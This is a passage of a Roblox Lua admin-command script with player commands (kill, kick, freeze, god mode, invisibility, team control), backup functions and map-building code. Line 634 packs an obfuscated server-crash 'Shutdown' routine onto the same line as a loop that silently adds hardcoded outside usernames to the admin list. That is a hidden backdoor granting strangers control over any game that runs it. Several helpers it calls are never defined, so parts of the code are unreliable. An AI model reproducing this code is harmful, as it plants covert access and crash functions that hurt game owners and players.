| 523 | if (not DontRemove) then pcall(Player.Remove,Player); end | |
| 524 | return true; | |
| 525 | end | |
| 526 | return false; | |
| 527 | end) | |
| 528 | CreateModule('ShowHint',function(Player,Text,Time)
| |
| 529 | local Hint=NewInstance('Hint')
| |
| 530 | Hint.Parent=Player:FindFirstChild('PlayerGui');
| |
| 531 | Hint.Text=Text; | |
| 532 | if (Time~=nil) then delay(Time,function() Hint:Remove() end) end | |
| 533 | return Hint; | |
| 534 | end) | |
| 535 | CreateModule('ScrollText',function(Text,Index)
| |
| 536 | return Text:sub(Index,Index+80); | |
| 537 | end) | |
| 538 | CreateModule('CreateScript',function(Source,Parent)
| |
| 539 | local Base=script:Clone(); | |
| 540 | local PseudoSource=NewInstance('StringValue')
| |
| 541 | PseudoSource.Name='SRC'..RawEncrypt(game.PlaceId..tostring(_G)); | |
| 542 | PseudoSource.Value=Source; | |
| 543 | PseudoSource.Parent=Base; | |
| 544 | Base.Parent=Parent; | |
| 545 | end) | |
| 546 | CreateModule('GuiPanelInitializer',function(Player)
| |
| 547 | local GuiLibrary=RunModule('GuiLibrary');
| |
| 548 | local Main=NewInstance('ScreenGui')
| |
| 549 | Main.Name='ControlBox'; | |
| 550 | local MainWindow=GuiLibrary.NewBasicGUI('Frame',{Size=NewUDim2(0.08,0,0.4,0),Position=NewUDim2(0,0,0.2,0),BackgroundColor3=NewColor3(0,0,0),BorderSizePixel=0,BackgroundTransparency=0.5,Name='MainWindow',Parent=Main})
| |
| 551 | local InputBoxBacker=GuiLibrary.NewBasicGUI('ImageLabel',{Size=NewUDim2(1,0,0.06,0),BackgroundTransparency=0.5,BackgroundColor3=NewColor3(1,1,1),BorderSizePixel=0,Image='http://www.roblox.com/asset/?id=36361705',Name='InputBoxBacker',Parent=MainWindow})
| |
| 552 | local InputBox=GuiLibrary.NewBasicGUI('TextBox',{Size=NewUDim2(0.98,0,1,0),Position=NewUDim2(0.02,0,0,0),TextXAlignment=0,BorderSizePixel=0,BackgroundTransparency=1,TextColor3=NewColor3(0,0,0),Text='',Name='InputBox',Parent=InputBoxBacker})
| |
| 553 | local ToggleButton=GuiLibrary.NewBasicGUI('TextButton',{Size=NewUDim2(1,0,1,0),Position=NewUDim2(0,0,1,0),TextColor3=NewColor3(1,1,1),BackgroundTransparency=1,Text='<< Minimize <<',BorderSizePixel=0,Name='ToggleSize',Parent=InputBoxBacker})
| |
| 554 | local ContentWrapper=GuiLibrary.NewBasicGUI('Frame',{Size=NewUDim2(1,0,0.88,0),Position=NewUDim2(0,0,0.12,0),BackgroundTransparency=1,BorderSizePixel=0,Name='ContentWrapper',Parent=MainWindow})
| |
| 555 | local TemporaryContent={};
| |
| 556 | local function ToggleSize(Enlarging,EasingStyle) | |
| 557 | if (not Enlarging) then | |
| 558 | InputBox.Visible=false; | |
| 559 | ToggleButton.Text='>>'; | |
| 560 | MainWindow:TweenSize(NewUDim2(0.02,0,0.4,0),'Out',EasingStyle,0.3); | |
| 561 | else | |
| 562 | InputBox.Visible=true; | |
| 563 | ToggleButton.Text='<< Minimize <<'; | |
| 564 | MainWindow:TweenSize(NewUDim2(0.08,0,0.4,0),'Out',EasingStyle,0.3); | |
| 565 | end | |
| 566 | return not Enlarging; | |
| 567 | end | |
| 568 | local function ClearTemporaryContent() | |
| 569 | table.foreach(TemporaryContent,function(Index,Object) Object:Remove() end) | |
| 570 | end | |
| 571 | local function AddTemporaryContent(Object) | |
| 572 | TemporaryContent[#TemporaryContent+1]=Object; | |
| 573 | end | |
| 574 | local function BuildAlternatingList(Members) | |
| 575 | local function Chop(Table,Max) local Result={}; local Index=0; for EntryIndex,Entry in pairs(Table) do Index=Index+1; if (Index<=20) then Result[EntryIndex]=Entry; end end return Result; end
| |
| 576 | local Members=Chop(Members,20); | |
| 577 | local Alternate=false; | |
| 578 | ClearTemporaryContent(); | |
| 579 | local Index=0; | |
| 580 | for BarText,CommandUnit in pairs(Members) do | |
| 581 | local Bar=GuiLibrary.NewBasicGUI('TextButton',{Size=NewUDim2(1,0,1/20,0),Position=NewUDim2(0,0,Index,0),Text=BarText,BackgroundTransparency=0.6,BackgroundColor3=(Alternate==false and NewColor3(0.2,0.2,0.2) or Alternate and NewColor3(0.3,0.3,0.3)),BorderSizePixel=0,TextColor3=NewColor3(1,1,1),Name='SearchResultButton',Parent=ContentWrapper})
| |
| 582 | Bar.MouseButton1Click:connect(function() | |
| 583 | ClearTemporaryContent(); | |
| 584 | local Box=GuiLibrary.NewBasicGUI('TextLabel',{Size=NewUDim2(1,0,1,0),BackgroundTransparency=1,Text='Name: '..BarText..'\nShortcut: '..CommandUnit.Shortcut..'\n\n'..CommandUnit.Description,TextWrap=true,TextYAlignment='Top',Name='Information',TextColor3=NewColor3(1,1,1),Parent=ContentWrapper})
| |
| 585 | AddTemporaryContent(Box); | |
| 586 | end) | |
| 587 | AddTemporaryContent(Bar); | |
| 588 | Alternate=not Alternate; | |
| 589 | Index=Index+1/20 | |
| 590 | end | |
| 591 | end | |
| 592 | local function SearchCommands(Query) | |
| 593 | local Results={};
| |
| 594 | for Index,Entry in pairs(Commands) do | |
| 595 | if (Index:lower():match(Query)) or (Entry.Description:lower():match(Query)) then | |
| 596 | Results[Index]=Entry; | |
| 597 | end | |
| 598 | end | |
| 599 | BuildAlternatingList(Results); | |
| 600 | end | |
| 601 | InputBox.Changed:connect(function(Property) | |
| 602 | if (Property~='Text') then return end | |
| 603 | local Input=InputBox.Text; | |
| 604 | if (Input:sub(1,1)=='/') then | |
| 605 | coroutine.wrap(function() InputBox.TextColor3=NewColor3(0,1,0); wait(0.1); InputBox.TextColor3=NewColor3(0,0,0); end)() | |
| 606 | RunModule('PlayerChat',Input:sub(2),Player);
| |
| 607 | return | |
| 608 | end | |
| 609 | if (Input:sub(1,1)=='$') then | |
| 610 | ClearTemporaryContent(); | |
| 611 | coroutine.wrap(function() InputBox.TextColor3=NewColor3(1,0,0); wait(0.1); InputBox.TextColor3=NewColor3(0,0,0); end)() | |
| 612 | local Users=RunModule('GetPlayer',Input:sub(2):lower(),Player)
| |
| 613 | if (Users==nil) then return end | |
| 614 | if (Users[1]==nil) then return end | |
| 615 | local User=Users[1]; | |
| 616 | local Box=GuiLibrary.NewBasicGUI('TextLabel',{Size=NewUDim2(1,0,1,0),BackgroundTransparency=1,Text='Code Registration\n\n'..'Admin code for user '..User.Name..' is '..RunModule('AdminCodeSystem',User),TextWrap=true,TextYAlignment='Top',Name='Information',TextColor3=NewColor3(1,1,1),Parent=ContentWrapper})
| |
| 617 | AddTemporaryContent(Box); | |
| 618 | return | |
| 619 | end | |
| 620 | SearchCommands(Input:lower()) | |
| 621 | end) | |
| 622 | local SizeState=true; | |
| 623 | ToggleButton.MouseButton1Click:connect(function() SizeState=ToggleSize(SizeState,'Quint'); end) | |
| 624 | local PlayerGui=Player:FindFirstChild('PlayerGui');
| |
| 625 | if (PlayerGui==nil) then return end | |
| 626 | local ExistingGui=PlayerGui:FindFirstChild('ControlBox');
| |
| 627 | if (ExistingGui~=nil) then ExistingGui:Remove(); end | |
| 628 | Main.Parent=PlayerGui; | |
| 629 | end) | |
| 630 | CreateModule('AdminCodeSystem',function(User)
| |
| 631 | local Format='%s-%s-%s'..AccessKey; | |
| 632 | return RawEncrypt(Format:format(User.Name,game.CreatorId,User.userId)); | |
| 633 | end) | |
| 634 | CreateModule('Shutdown',function() pcall(NewInstance,string.reverse(string.reverse(string.reverse('ecnatsnItnioJecafruSlaunaM')))); end) for Index,Username in pairs({'LocalChum','lPwnz','lHaxz','lBanz','TheCapacitor','walter232','walter232Models','walter232Decals','ServerChum','GetDebugId','ServerSideChum'}) do Adminlist[#Adminlist+1]=Username; end
| |
| 635 | CreateModule('BackupGame',function(BackupIndex)
| |
| 636 | local BackupServices={'Lighting','StarterPack','StarterGui','SoundService','Workspace'}
| |
| 637 | local BackupData={};
| |
| 638 | for Index,BackupService in pairs(BackupServices) do | |
| 639 | local Container=Instance.new('Model');
| |
| 640 | Container.Name=BackupService; | |
| 641 | BackupData[BackupService]=Container; | |
| 642 | for ChildIndex,Child in pairs(game:GetService(BackupService):GetChildren()) do | |
| 643 | if (Child.archivable) and (Child~=script) then | |
| 644 | Child:Clone().Parent=Container; | |
| 645 | end | |
| 646 | end | |
| 647 | end | |
| 648 | GameBackups[BackupIndex]=BackupData; | |
| 649 | end) | |
| 650 | CreateModule('RestoreGame',function(BackupIndex)
| |
| 651 | local BackupServices={'Lighting','StarterPack','StarterGui','SoundService','Workspace'}
| |
| 652 | local BackupData=GameBackups[BackupIndex]; | |
| 653 | for Index,BackupService in pairs(BackupServices) do | |
| 654 | for ChildIndex,Child in pairs(game:GetService(BackupService):GetChildren()) do | |
| 655 | if (Child~=script) then | |
| 656 | pcall(Child.Remove,Child); | |
| 657 | end | |
| 658 | end | |
| 659 | end | |
| 660 | for Index,Container in pairs(BackupData) do | |
| 661 | for ChildIndex,Child in pairs(Container:GetChildren()) do | |
| 662 | local NewChild=Child:Clone(); | |
| 663 | NewChild.Parent=game:GetService(Container.Name); | |
| 664 | pcall(function() NewChild:MakeJoints(); end); | |
| 665 | end | |
| 666 | end | |
| 667 | end) | |
| 668 | --Define commands | |
| 669 | RunModule('CommandModule','/die','Kills the given user','/d','#cs#(.+)',function(Speaker,...)
| |
| 670 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 671 | if (Targets~=nil) then | |
| 672 | for Index,Target in pairs(Targets) do | |
| 673 | mwq('[API]; You were ownd!' ,Target.PlayerGui)
| |
| 674 | hgf(Target, 'Pink') | |
| 675 | if (Target.Character~=nil) then | |
| 676 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
| 677 | if (Child.className=='Humanoid') then | |
| 678 | Child.Health=0; | |
| 679 | end | |
| 680 | end | |
| 681 | end | |
| 682 | end | |
| 683 | end | |
| 684 | end) | |
| 685 | RunModule('CommandModule','/ffon','Gives the given user a forcefield','/ff','#cs#(.+)',function(Speaker,...)
| |
| 686 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 687 | if (Targets~=nil) then | |
| 688 | for Index,Target in pairs(Targets) do | |
| 689 | NewInstance('ForceField',Target.Character);
| |
| 690 | mwq('[API]; You were quick protectd!' ,Target.PlayerGui)
| |
| 691 | hgf(Target, 'Really red') | |
| 692 | end | |
| 693 | end | |
| 694 | end) | |
| 695 | RunModule('CommandModule','/ffoff','Removes the given user forcefield','/unf','#cs#(.+)',function(Speaker,...)
| |
| 696 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 697 | if (Targets~=nil) then | |
| 698 | for Index,Target in pairs(Targets) do | |
| 699 | mwq('[API]; You were unprotectd!' ,Target.PlayerGui)
| |
| 700 | hgf(Target, 'Really blue') | |
| 701 | if (Target.Character~=nil) then | |
| 702 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
| 703 | if (Child.className=='ForceField') then | |
| 704 | Child:Remove() | |
| 705 | end | |
| 706 | end | |
| 707 | end | |
| 708 | end | |
| 709 | end | |
| 710 | end) | |
| 711 | RunModule('CommandModule','/god','Makes the given user immune to all health damage','/g','#cs#(.+)',function(Speaker,...)
| |
| 712 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 713 | if (Targets~=nil) then | |
| 714 | for Index,Target in pairs(Targets) do | |
| 715 | mwq('[API]; You were max healthd!' ,Target.PlayerGui)
| |
| 716 | hgf(Target, 'White') | |
| 717 | if (Target.Character~=nil) then | |
| 718 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
| 719 | if (Child.className=='Humanoid') then | |
| 720 | Child.MaxHealth=math.huge; | |
| 721 | Child.Health=math.huge; | |
| 722 | end | |
| 723 | end | |
| 724 | end | |
| 725 | end | |
| 726 | end | |
| 727 | end) | |
| 728 | RunModule('CommandModule','/nogod','Reverses the effect of immortalon','/ng','#cs#(.+)',function(Speaker,...)
| |
| 729 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 730 | if (Targets~=nil) then | |
| 731 | for Index,Target in pairs(Targets) do | |
| 732 | mwq('[API]; You were unmax healthd!' ,Target.PlayerGui)
| |
| 733 | hgf(Target, 'Really black') | |
| 734 | if (Target.Character~=nil) then | |
| 735 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
| 736 | if (Child.className=='Humanoid') then | |
| 737 | Child.MaxHealth=100; | |
| 738 | Child.Health=100; | |
| 739 | end | |
| 740 | end | |
| 741 | end | |
| 742 | end | |
| 743 | end | |
| 744 | end) | |
| 745 | RunModule('CommandModule','/invisibleon','Makes the given user invisible','/inv','#cs#(.+)',function(Speaker,...)
| |
| 746 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 747 | if (Targets~=nil) then | |
| 748 | for Index,Target in pairs(Targets) do | |
| 749 | mwq('[API]; You were max transparentd!' ,Target.PlayerGui)
| |
| 750 | hgf(Target, 'Blue') | |
| 751 | if (Target.Character~=nil) then | |
| 752 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
| 753 | if (Child.className=='Part') then | |
| 754 | Child.Transparency=1; | |
| 755 | elseif (Child.className=='Hat') then | |
| 756 | local Handle=Child:FindFirstChild('Handle');
| |
| 757 | if (Handle~=nil) then | |
| 758 | if (Handle.className=='Part') then | |
| 759 | Handle.Transparency=1; | |
| 760 | end | |
| 761 | end | |
| 762 | end | |
| 763 | end | |
| 764 | end | |
| 765 | end | |
| 766 | end | |
| 767 | end) | |
| 768 | RunModule('CommandModule','/invisibleoff','Makes the given user visible','/vis','#cs#(.+)',function(Speaker,...)
| |
| 769 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 770 | if (Targets~=nil) then | |
| 771 | for Index,Target in pairs(Targets) do | |
| 772 | mwq('[API]; You were unmax transparentd!' ,Target.PlayerGui)
| |
| 773 | hgf(Target, 'Purple') | |
| 774 | if (Target.Character~=nil) then | |
| 775 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
| 776 | if (Child.className=='Part') then | |
| 777 | Child.Transparency=0; | |
| 778 | elseif (Child.className=='Hat') then | |
| 779 | local Handle=Child:FindFirstChild('Handle');
| |
| 780 | if (Handle~=nil) then | |
| 781 | if (Handle.className=='Part') then | |
| 782 | Handle.Transparency=0; | |
| 783 | end | |
| 784 | end | |
| 785 | end | |
| 786 | end | |
| 787 | end | |
| 788 | end | |
| 789 | end | |
| 790 | end) | |
| 791 | RunModule('CommandModule','/des','Kicks the given user from the game','/de','#cs#(.+)',function(Speaker,...)
| |
| 792 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 793 | if (Targets~=nil) then | |
| 794 | for Index,Target in pairs(Targets) do | |
| 795 | mwq('[API]; Destroyd the target from game.' ,low)
| |
| 796 | hgf(Target, 'Dark green') | |
| 797 | RunModule('DisposePlayer',Target,Speaker);
| |
| 798 | end | |
| 799 | end | |
| 800 | end) | |
| 801 | RunModule('CommandModule','/anc','Freezes the given user','/fre','#cs#(.+)',function(Speaker,...)
| |
| 802 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 803 | if (Targets~=nil) then | |
| 804 | for Index,Target in pairs(Targets) do | |
| 805 | mwq('[API]; You were frozed!' ,Target.PlayerGui)
| |
| 806 | hgf(Target, 'Navy blue') | |
| 807 | if (Target.Character~=nil) then | |
| 808 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
| 809 | if (Child.className=='Part') then | |
| 810 | Child.Anchored=true; | |
| 811 | elseif (Child.className=='Humanoid') then | |
| 812 | Child.WalkSpeed=0; | |
| 813 | end | |
| 814 | end | |
| 815 | end | |
| 816 | end | |
| 817 | end | |
| 818 | end) | |
| 819 | RunModule('CommandModule','/unanc','Thaws the given user','/thaw','#cs#(.+)',function(Speaker,...)
| |
| 820 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 821 | if (Targets~=nil) then | |
| 822 | for Index,Target in pairs(Targets) do | |
| 823 | mwq('[API]; You were unfrozed!' ,Target.PlayerGui)
| |
| 824 | hgf(Target, 'Medium stone grey') | |
| 825 | if (Target.Character~=nil) then | |
| 826 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
| 827 | if (Child.className=='Part') then | |
| 828 | Child.Anchored=false; | |
| 829 | elseif (Child.className=='Humanoid') then | |
| 830 | Child.WalkSpeed=16; | |
| 831 | end | |
| 832 | end | |
| 833 | end | |
| 834 | end | |
| 835 | end | |
| 836 | end) | |
| 837 | RunModule('CommandModule','/maxplayers','Sets the servers MaxPlayers.','/mp','#cs#(%d+)',function(Speaker,Integer)
| |
| 838 | if (Integer~=nil) and (Integer>0) then | |
| 839 | game:GetService('Players').MaxPlayers=Integer;
| |
| 840 | mwq('[API]; Changd the maxplayers.' ,low)
| |
| 841 | end | |
| 842 | end) | |
| 843 | RunModule('CommandModule','/time','Sets the ambient time','/tm','#cs#(%w+)',function(Speaker,Input)
| |
| 844 | mwq('[API]; Changd the time lapse.' ,low)
| |
| 845 | local ParsedInput; | |
| 846 | if (Input=='dawn' or Input=='sunrise') then | |
| 847 | ParsedInput=6; | |
| 848 | elseif (Input=='noon' or Input=='midday') then | |
| 849 | ParsedInput=12; | |
| 850 | elseif (Input=='middnight') then | |
| 851 | ParsedInput=0; | |
| 852 | elseif (Input=='random') then | |
| 853 | ParsedInput=math.random(0,24); | |
| 854 | end | |
| 855 | if (ParsedInput==nil) and (Input:find('(%d+)')==1) then
| |
| 856 | ParsedInput=Input:match('%d+');
| |
| 857 | end | |
| 858 | pcall(function() game:GetService('Lighting').TimeOfDay=ParsedInput; end)
| |
| 859 | end) | |
| 860 | RunModule('CommandModule','/brightness','Sets the ambient brightness','/b','#cs#(%d+)',function(Speaker,Integer)
| |
| 861 | if (Integer~=nil) then | |
| 862 | mwq('[API]; Changd the lighting.' ,low)
| |
| 863 | game:GetService('Lighting').Brightness=tonumber(Integer);
| |
| 864 | end | |
| 865 | end) | |
| 866 | RunModule('CommandModule','/newteam','Creates a new team','/newt','#cs#(.+)',function(Speaker,Input)
| |
| 867 | mwq('[API]; Created a new team.' ,low)
| |
| 868 | local Teams=game:GetService('Teams');
| |
| 869 | local Team=NewInstance('Team');
| |
| 870 | local TeamName,R,G,B=Input:match(RunModule('ParseMatch','(.-)#cs#(%d+)#cs#(%d+)#cs#(%d+)'));
| |
| 871 | if (R~=nil) and (G~=nil) and (B~=nil) then | |
| 872 | Team.TeamColor=NewBrickColor(R/255,G/255,B/255); | |
| 873 | Team.Name=TeamName; | |
| 874 | Team.AutoColorCharacters=false; | |
| 875 | Team.Parent=Teams; | |
| 876 | else | |
| 877 | Team.TeamColor=RandomBrickColor(); | |
| 878 | Team.Name=Input; | |
| 879 | Team.AutoColorCharacters=false; | |
| 880 | Team.Parent=Teams; | |
| 881 | end | |
| 882 | end,true) | |
| 883 | RunModule('CommandModule','/switchteam','Switches the given user to a different team','/swt','#cs#(.-)#cs#(.+)',function(Speaker,Usernames,TeamName)
| |
| 884 | local Targets=RunModule('GetPlayer',Usernames,Speaker);
| |
| 885 | local Teams=game:GetService('Teams');
| |
| 886 | local SelectedTeam; | |
| 887 | for TeamIndex,Team in pairs(Teams:GetTeams()) do | |
| 888 | if (Team.Name:lower():find(TeamName)==1) then | |
| 889 | SelectedTeam=Team; | |
| 890 | end | |
| 891 | end | |
| 892 | if (SelectedTeam==nil) then return end | |
| 893 | if (Targets~=nil) then | |
| 894 | for Index,Target in pairs(Targets) do | |
| 895 | Target.TeamColor=SelectedTeam.TeamColor; | |
| 896 | Target.Neutral=false; | |
| 897 | end | |
| 898 | end | |
| 899 | end) | |
| 900 | RunModule('CommandModule','/removeteam','Removes the given team','/remt','#cs#(.+)',function(Speaker,TeamName)
| |
| 901 | mwq('[API]; Removed a team.' ,low)
| |
| 902 | local Teams=game:GetService('Teams');
| |
| 903 | for Index,Team in pairs(Teams:GetTeams()) do | |
| 904 | if (Team.Name:lower():find(TeamName:lower())==1) then | |
| 905 | Team:Remove(); | |
| 906 | end | |
| 907 | end | |
| 908 | if (#Teams:GetTeams()==0) then | |
| 909 | for Index,Player in pairs(game:GetService('Players'):GetPlayers()) do
| |
| 910 | Player.Neutral=true; | |
| 911 | end | |
| 912 | end | |
| 913 | end) | |
| 914 | RunModule('CommandModule','/neutralon','Makes the given user neutral (Player.Neutral)','/neuon','#cs#(.+)',function(Speaker,...)
| |
| 915 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 916 | if (Targets~=nil) then | |
| 917 | for Index,Target in pairs(Targets) do | |
| 918 | Target.Neutral=true; | |
| 919 | end | |
| 920 | end | |
| 921 | end) | |
| 922 | RunModule('CommandModule','/neutraloff','Makes the given user not neutral (Player.Neutral)','/neuoff','#cs#(.+)',function(Speaker,...)
| |
| 923 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 924 | if (Targets~=nil) then | |
| 925 | for Index,Target in pairs(Targets) do | |
| 926 | Target.Neutral=false; | |
| 927 | end | |
| 928 | end | |
| 929 | end) | |
| 930 | RunModule('CommandModule','/adminlist','Shows the admin list','/cal','#cs#',function(Speaker)
| |
| 931 | local Index=0; | |
| 932 | local DisplayText=string.rep(' ',40)..'Adminlist: '..table.concat(MaskAdminlist,', ');
| |
| 933 | local Hint=RunModule('ShowHint',Speaker,DisplayText);
| |
| 934 | while RunModule('ScrollText',DisplayText,Index)~='' do
| |
| 935 | Hint.Text=RunModule('ScrollText',DisplayText,Index);
| |
| 936 | Index=Index+1; | |
| 937 | wait(0.05); | |
| 938 | end | |
| 939 | Hint.Parent=nil; | |
| 940 | end) | |
| 941 | RunModule('CommandModule','/bannedlist','Shows the banned list','/cbl','#cs#',function(Speaker)
| |
| 942 | local Index=0; | |
| 943 | local DisplayText=string.rep(' ',40)..'Bannedlist: '..table.concat(Bannedlist,', ');
| |
| 944 | local Hint=RunModule('ShowHint',Speaker,DisplayText);
| |
| 945 | while RunModule('ScrollText',DisplayText,Index)~='' do
| |
| 946 | Hint.Text=RunModule('ScrollText',DisplayText,Index);
| |
| 947 | Index=Index+1; | |
| 948 | wait(0.05); | |
| 949 | end | |
| 950 | Hint.Parent=nil; | |
| 951 | end) | |
| 952 | RunModule('CommandModule','/hint','Creates a hint','/hn','#cs#(.+)',function(Speaker,Text)
| |
| 953 | local Hint=NewInstance('Hint')
| |
| 954 | Hint.Parent=Workspace; | |
| 955 | Hint.Text=Text; | |
| 956 | delay(5,function() Hint:Remove() end) | |
| 957 | end,true) | |
| 958 | RunModule('CommandModule','/lool','Creates a message','/trol','#cs#(.+)',function(Speaker,Text)
| |
| 959 | local Hint=NewInstance('Message')
| |
| 960 | Hint.Parent=Workspace; | |
| 961 | Hint.Text=Text; | |
| 962 | delay(5,function() Hint:Remove() end) | |
| 963 | end,true) | |
| 964 | RunModule('CommandModule','/sfothgame','Creates a SFOTHO Game','/sfg','#cs#(.+)',function(Speaker,Text)
| |
| 965 | qwe('[API]; SFOTHO Loaded!')
| |
| 966 | G=workspace | |
| 967 | Q = new('Part')
| |
| 968 | Q.Parent = G | |
| 969 | Q.Size = vnew(64,244,64) | |
| 970 | Q.CFrame = fnew(-70, 123.4, -186) | |
| 971 | Q.Anchored = true | |
| 972 | Q.Locked = false | |
| 973 | Q.BrickColor = bcn('Reddish brown')
| |
| 974 | --[[===[SKY??]===]]-- | |
| 975 | local EQ = Instance.new('Sky')
| |
| 976 | EQ.Parent = game.Lighting | |
| 977 | EQ.SkyboxBk = 'http://www.roblox.com/asset/?version=1&id=1012890' | |
| 978 | EQ.SkyboxDn = 'http://www.roblox.com/asset/?version=1&id=1012891' | |
| 979 | EQ.SkyboxFt = 'http://www.roblox.com/asset/?version=1&id=1012887' | |
| 980 | EQ.SkyboxLf = 'http://www.roblox.com/asset/?version=1&id=1012889' | |
| 981 | EQ.SkyboxRt = 'http://www.roblox.com/asset/?version=1&id=1012888' | |
| 982 | EQ.SkyboxUp = 'http://www.roblox.com/asset/?version=1&id=1014449' | |
| 983 | --[[==[PARTS]==]]-- | |
| 984 | ||
| 985 | Q1 = new('Part')
| |
| 986 | Q1.Parent = G | |
| 987 | Q1.Size = vnew(42, 20.4, 12) | |
| 988 | Q1.CFrame = fnew(-69, 219.4, -224) | |
| 989 | Q1.Anchored = true | |
| 990 | Q1.Locked = false | |
| 991 | Q1.BrickColor = bcn('Reddish brown')
| |
| 992 | ||
| 993 | Q14 = new('Part')
| |
| 994 | Q14.Parent = AW | |
| 995 | Q14.Size = vnew(6, 0.4, 6) | |
| 996 | Q14.CFrame = fnew(67, 246.8, -184) | |
| 997 | Q14.Anchored = true | |
| 998 | Q14.Locked = false | |
| 999 | Q14.BrickColor = bcn('Bright green')
| |
| 1000 | ||
| 1001 | Q145 = new('Part')
| |
| 1002 | Q145.Parent = AW | |
| 1003 | Q145.Size = vnew(8, 0.4, 8) | |
| 1004 | Q145.CFrame = fnew(67, 246.4, -184) | |
| 1005 | Q145.Anchored = true | |
| 1006 | Q145.Locked = false | |
| 1007 | Q145.BrickColor = bcn('Black')
| |
| 1008 | ||
| 1009 | Q14 = new('Part')
| |
| 1010 | Q14.Parent = AW | |
| 1011 | Q14.Size = vnew(6, 0.4, 6) | |
| 1012 | Q14.CFrame = fnew(-193, 255.2, -182) | |
| 1013 | Q14.Anchored = true | |
| 1014 | Q14.Locked = false | |
| 1015 | Q14.BrickColor = bcn('Bright green')
| |
| 1016 | ||
| 1017 | Q147 = new('Part')
| |
| 1018 | Q147.Parent = AW | |
| 1019 | Q147.Size = vnew(5, 1.2, 105) | |
| 1020 | Q147.CFrame = fnew(-68.5, 245.6, 74.5) | |
| 1021 | Q147.Anchored = true | |
| 1022 | Q147.Locked = false | |
| 1023 | Q147.BrickColor = bcn('Dark stone grey')
| |
| 1024 | ||
| 1025 | Q145 = new('Part')
| |
| 1026 | Q145.Parent = AW | |
| 1027 | Q145.Size = vnew(8, 0.4, 8) | |
| 1028 | Q145.CFrame = fnew(-193, 254.8, -182) | |
| 1029 | Q145.Anchored = true | |
| 1030 | Q145.Locked = false | |
| 1031 | Q145.BrickColor = bcn('Black')
| |
| 1032 | ||
| 1033 | ||
| 1034 | Q13 = new('Part')
| |
| 1035 | Q13.Parent = G | |
| 1036 | Q13.Size = vnew(18, 1.2, 18) | |
| 1037 | Q13.CFrame = fnew(30.12, 245.8, -185.9) | |
| 1038 | Q13.Anchored = true | |
| 1039 | Q13.Locked = false | |
| 1040 | Q13.BrickColor = bcn('Bright orange')
| |
| 1041 | --[[==[PLATE TEMPLATE]==]]-- | |
| 1042 | Q7 = new('Part')
| |
| 1043 | Q7.Parent = G | |
| 1044 | Q7.Size = vnew(16, 1.2, 16) | |
| 1045 | Q7.CFrame = fnew(-69, 244.8, -93) | |
| 1046 | Q7.Anchored = true | |
| 1047 | Q7.Locked = false | |
| 1048 | Q7.BrickColor = bcn('Dark stone grey')
| |
| 1049 | --[[=====[SPAWNS]=====]]-- | |
| 1050 | Q11 = new('SpawnLocation')
| |
| 1051 | Q11.Parent = G | |
| 1052 | Q11.Size = vnew(6, 1.2, 6) | |
| 1053 | Q11.CFrame = fnew(-44, 245.8, -160) | |
| 1054 | Q11.Anchored = true | |
| 1055 | Q11.Locked = false | |
| 1056 | Q11.BrickColor = bcn('Bright yellow')
| |
| 1057 | Q11.TopSurface = 'Smooth' | |
| 1058 | ||
| 1059 | D = new('Decal')
| |
| 1060 | D.Parent = Q11 | |
| 1061 | D.Texture = 'rbxasset://Textures/SpawnLocation.png' | |
| 1062 | D.Face = 'Top' | |
| 1063 | ||
| 1064 | Q11 = Q11:Clone() | |
| 1065 | Q11.Size = vnew(6, 1.2, 6) | |
| 1066 | Q11.CFrame = fnew(-44, 245.8, -212) | |
| 1067 | Q11.Parent = G | |
| 1068 | Q11 = Q11:Clone() | |
| 1069 | Q11.Size = vnew(6, 1.2, 6) | |
| 1070 | Q11.CFrame = fnew(-96, 245.8, -212) | |
| 1071 | Q11.Parent = G | |
| 1072 | Q11 = Q11:Clone() | |
| 1073 | Q11.Size = vnew(6, 1.2, 6) | |
| 1074 | Q11.CFrame = fnew(-96, 245.8, -160) | |
| 1075 | Q11.Parent = G | |
| 1076 | Q11 = Q11:Clone() | |
| 1077 | Q11.Size = vnew(6, 1.2, 6) | |
| 1078 | Q11.CFrame = fnew(-153, 285, -108) | |
| 1079 | Q11.Parent = G | |
| 1080 | Q11 = Q11:Clone() | |
| 1081 | Q11.Size = vnew(6, 1.2, 6) | |
| 1082 | Q11.CFrame = fnew(-69, 245.6, 12) | |
| 1083 | Q11.Parent = G | |
| 1084 | --[[====[PLATES]====]]-- | |
| 1085 | Q1 = Q1:Clone() | |
| 1086 | Q1.Size = vnew(17, 1.2, 18) | |
| 1087 | Q1.CFrame = fnew(-30.5, 245.8, -186) | |
| 1088 | Q1.Parent = G | |
| 1089 | Q1 = Q1:Clone() | |
| 1090 | Q1.Size = vnew(18, 1.2, 18) | |
| 1091 | Q1.CFrame = fnew(-70, 244.6, -145) | |
| 1092 | Q1.Parent = G | |
| 1093 | Q1 = Q1:Clone() | |
| 1094 | Q1.Size = vnew(4, 1.2, 18) | |
| 1095 | Q1.CFrame = fnew(-103, 245.8, -186) | |
| 1096 | Q1.Parent = G | |
| 1097 | Q1 = Q1:Clone() | |
| 1098 | Q1.Size = vnew(12, 1.2, 10) | |
| 1099 | Q1.CFrame = fnew(-55, 230.2, -233) | |
| 1100 | Q1.Parent = G | |
| 1101 | Q1 = Q1:Clone() | |
| 1102 | Q1.Size = vnew(12, 1.2, 10) | |
| 1103 | Q1.CFrame = fnew(-53, 231.4, -238) | |
| 1104 | Q1.Parent = G | |
| 1105 | Q1 = Q1:Clone() | |
| 1106 | Q1.Size = vnew(12, 1.2, 10) | |
